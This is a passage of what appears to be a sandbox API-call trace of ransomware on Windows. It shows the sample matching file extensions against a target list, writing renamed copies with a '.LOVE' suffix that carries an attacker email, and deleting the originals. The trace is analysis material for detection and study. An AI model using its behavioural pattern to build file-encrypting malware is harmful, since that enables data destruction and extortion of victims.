[0196.399] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.399] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0196.399] lstrlenW (lpString=".1cd") returned 4 [0196.399] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.400] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0196.400] lstrlenW (lpString=".jpg") returned 4 [0196.400] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.400] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0196.400] lstrlenW (lpString="eula.rtf") returned 8 [0196.400] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0196.401] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=4040) returned 1 [0196.401] CloseHandle (hObject=0x2dc) returned 1 [0196.401] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0196.401] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.401] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0196.401] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.401] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.401] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0196.402] GetLastError () returned 0x0 [0196.402] ReadFile (in: hFile=0x2dc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xfc8, lpOverlapped=0x0) returned 1 [0196.421] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xfd0, lpOverlapped=0x0) returned 1 [0196.422] ReadFile (in: hFile=0x2dc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.422] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.422] SetEndOfFile (hFile=0x2d8) returned 1 [0196.422] CloseHandle (hObject=0x2d8) returned 1 [0196.423] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.423] SetEndOfFile (hFile=0x2dc) returned 1 [0196.424] CloseHandle (hObject=0x2dc) returned 1 [0196.424] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.425] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0196.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0196.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0196.425] lstrlenW (lpString=".doc") returned 4 [0196.425] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.425] lstrlenW (lpString=".docx") returned 5 [0196.425] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.425] lstrlenW (lpString=".pdf") returned 4 [0196.425] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.425] lstrlenW (lpString=".xls") returned 4 [0196.425] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.425] lstrlenW (lpString=".xlsx") returned 5 [0196.425] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.425] lstrlenW (lpString=".ppt") returned 4 [0196.425] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0196.426] lstrlenW (lpString=".zip") returned 4 [0196.426] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.426] lstrlenW (lpString=".rar") returned 4 [0196.426] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.426] lstrlenW (lpString=".bz2") returned 4 [0196.426] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.426] lstrlenW (lpString=".7z") returned 3 [0196.426] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0196.426] lstrlenW (lpString=".dbf") returned 4 [0196.426] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0196.426] lstrlenW (lpString=".1cd") returned 4 [0196.426] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0196.426] lstrlenW (lpString=".jpg") returned 4 [0196.426] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0196.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0196.426] lstrlenW (lpString=".doc") returned 4 [0196.426] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.426] lstrlenW (lpString=".docx") returned 5 [0196.426] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.426] lstrlenW (lpString=".pdf") returned 4 [0196.426] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.426] lstrlenW (lpString=".xls") returned 4 [0196.426] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.426] lstrlenW (lpString=".xlsx") returned 5 [0196.426] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.426] lstrlenW (lpString=".ppt") returned 4 [0196.427] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0196.427] lstrlenW (lpString=".zip") returned 4 [0196.427] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.427] lstrlenW (lpString=".rar") returned 4 [0196.427] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.427] lstrlenW (lpString=".bz2") returned 4 [0196.427] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.427] lstrlenW (lpString=".7z") returned 3 [0196.427] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0196.427] lstrlenW (lpString=".dbf") returned 4 [0196.427] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0196.427] lstrlenW (lpString=".1cd") returned 4 [0196.427] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0196.427] lstrlenW (lpString=".jpg") returned 4 [0196.427] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.427] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0196.427] lstrlenW (lpString="eula.rtf") returned 8 [0196.427] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0196.428] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=3683) returned 1 [0196.428] CloseHandle (hObject=0x2dc) returned 1 [0196.428] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0196.428] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.428] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0196.428] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.428] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.428] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0196.432] GetLastError () returned 0x0 [0196.432] ReadFile (in: hFile=0x2dc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xe63, lpOverlapped=0x0) returned 1 [0196.540] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe70, lpOverlapped=0x0) returned 1 [0196.542] ReadFile (in: hFile=0x2dc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.542] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.542] SetEndOfFile (hFile=0x2d8) returned 1 [0196.542] CloseHandle (hObject=0x2d8) returned 1 [0196.545] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.545] SetEndOfFile (hFile=0x2dc) returned 1 [0196.977] CloseHandle (hObject=0x2dc) returned 1 [0196.978] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.978] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0196.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0196.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0196.978] lstrlenW (lpString=".doc") returned 4 [0196.978] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.978] lstrlenW (lpString=".docx") returned 5 [0196.978] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.978] lstrlenW (lpString=".pdf") returned 4 [0196.978] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.978] lstrlenW (lpString=".xls") returned 4 [0196.979] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.979] lstrlenW (lpString=".xlsx") returned 5 [0196.979] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.979] lstrlenW (lpString=".ppt") returned 4 [0196.979] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0196.979] lstrlenW (lpString=".zip") returned 4 [0196.979] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.979] lstrlenW (lpString=".rar") returned 4 [0196.979] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.979] lstrlenW (lpString=".bz2") returned 4 [0196.979] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.979] lstrlenW (lpString=".7z") returned 3 [0196.979] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0196.979] lstrlenW (lpString=".dbf") returned 4 [0196.979] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0196.979] lstrlenW (lpString=".1cd") returned 4 [0196.979] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0196.979] lstrlenW (lpString=".jpg") returned 4 [0196.979] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0196.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0196.979] lstrlenW (lpString=".doc") returned 4 [0196.979] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.979] lstrlenW (lpString=".docx") returned 5 [0196.979] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.979] lstrlenW (lpString=".pdf") returned 4 [0196.980] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.980] lstrlenW (lpString=".xls") returned 4 [0196.980] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.980] lstrlenW (lpString=".xlsx") returned 5 [0196.980] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.980] lstrlenW (lpString=".ppt") returned 4 [0196.980] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0196.980] lstrlenW (lpString=".zip") returned 4 [0196.980] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.980] lstrlenW (lpString=".rar") returned 4 [0196.980] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.980] lstrlenW (lpString=".bz2") returned 4 [0196.980] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.980] lstrlenW (lpString=".7z") returned 3 [0196.980] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0196.980] lstrlenW (lpString=".dbf") returned 4 [0196.980] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0196.980] lstrlenW (lpString=".1cd") returned 4 [0196.980] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0196.980] lstrlenW (lpString=".jpg") returned 4 [0196.980] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.980] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0196.980] lstrlenW (lpString="LocalizedData.xml") returned 17 [0196.981] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0197.064] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=60684) returned 1 [0197.064] CloseHandle (hObject=0x2c4) returned 1 [0197.064] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0197.064] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.064] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0197.065] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.065] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.065] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0197.065] GetLastError () returned 0x0 [0197.065] ReadFile (in: hFile=0x2c4, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xed0c, lpOverlapped=0x0) returned 1 [0197.536] WriteFile (in: hFile=0x2a0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xed10, lpOverlapped=0x0) returned 1 [0197.538] ReadFile (in: hFile=0x2c4, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0197.538] WriteFile (in: hFile=0x2a0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0197.538] SetEndOfFile (hFile=0x2a0) returned 1 [0197.539] CloseHandle (hObject=0x2a0) returned 1 [0197.545] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.545] SetEndOfFile (hFile=0x2c4) returned 1 [0197.546] CloseHandle (hObject=0x2c4) returned 1 [0197.547] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.547] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0197.547] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0197.547] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0197.547] lstrlenW (lpString=".doc") returned 4 [0197.547] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.547] lstrlenW (lpString=".docx") returned 5 [0197.547] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0197.547] lstrlenW (lpString=".pdf") returned 4 [0197.547] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.547] lstrlenW (lpString=".xls") returned 4 [0197.547] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.548] lstrlenW (lpString=".xlsx") returned 5 [0197.548] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0197.548] lstrlenW (lpString=".ppt") returned 4 [0197.548] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.548] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0197.548] lstrlenW (lpString=".zip") returned 4 [0197.548] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.548] lstrlenW (lpString=".rar") returned 4 [0197.548] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.548] lstrlenW (lpString=".bz2") returned 4 [0197.548] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.548] lstrlenW (lpString=".7z") returned 3 [0197.548] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.548] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0197.548] lstrlenW (lpString=".dbf") returned 4 [0197.548] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.548] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0197.548] lstrlenW (lpString=".1cd") returned 4 [0197.548] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.548] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0197.548] lstrlenW (lpString=".jpg") returned 4 [0197.548] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.548] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0197.548] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0197.548] lstrlenW (lpString=".doc") returned 4 [0197.548] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.548] lstrlenW (lpString=".docx") returned 5 [0197.548] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0197.548] lstrlenW (lpString=".pdf") returned 4 [0197.549] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.549] lstrlenW (lpString=".xls") returned 4 [0197.549] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.549] lstrlenW (lpString=".xlsx") returned 5 [0197.549] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0197.549] lstrlenW (lpString=".ppt") returned 4 [0197.549] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.549] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0197.549] lstrlenW (lpString=".zip") returned 4 [0197.549] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.549] lstrlenW (lpString=".rar") returned 4 [0197.549] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.549] lstrlenW (lpString=".bz2") returned 4 [0197.549] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.549] lstrlenW (lpString=".7z") returned 3 [0197.549] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.549] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0197.549] lstrlenW (lpString=".dbf") returned 4 [0197.549] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.549] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0197.549] lstrlenW (lpString=".1cd") returned 4 [0197.549] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.549] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0197.549] lstrlenW (lpString=".jpg") returned 4 [0197.549] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.549] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0197.550] lstrlenW (lpString="LocalizedData.xml") returned 17 [0197.550] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0197.550] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=60816) returned 1 [0197.550] CloseHandle (hObject=0x2c4) returned 1 [0197.550] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0197.550] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.550] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0197.550] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.550] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.550] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0197.551] GetLastError () returned 0x0 [0197.551] ReadFile 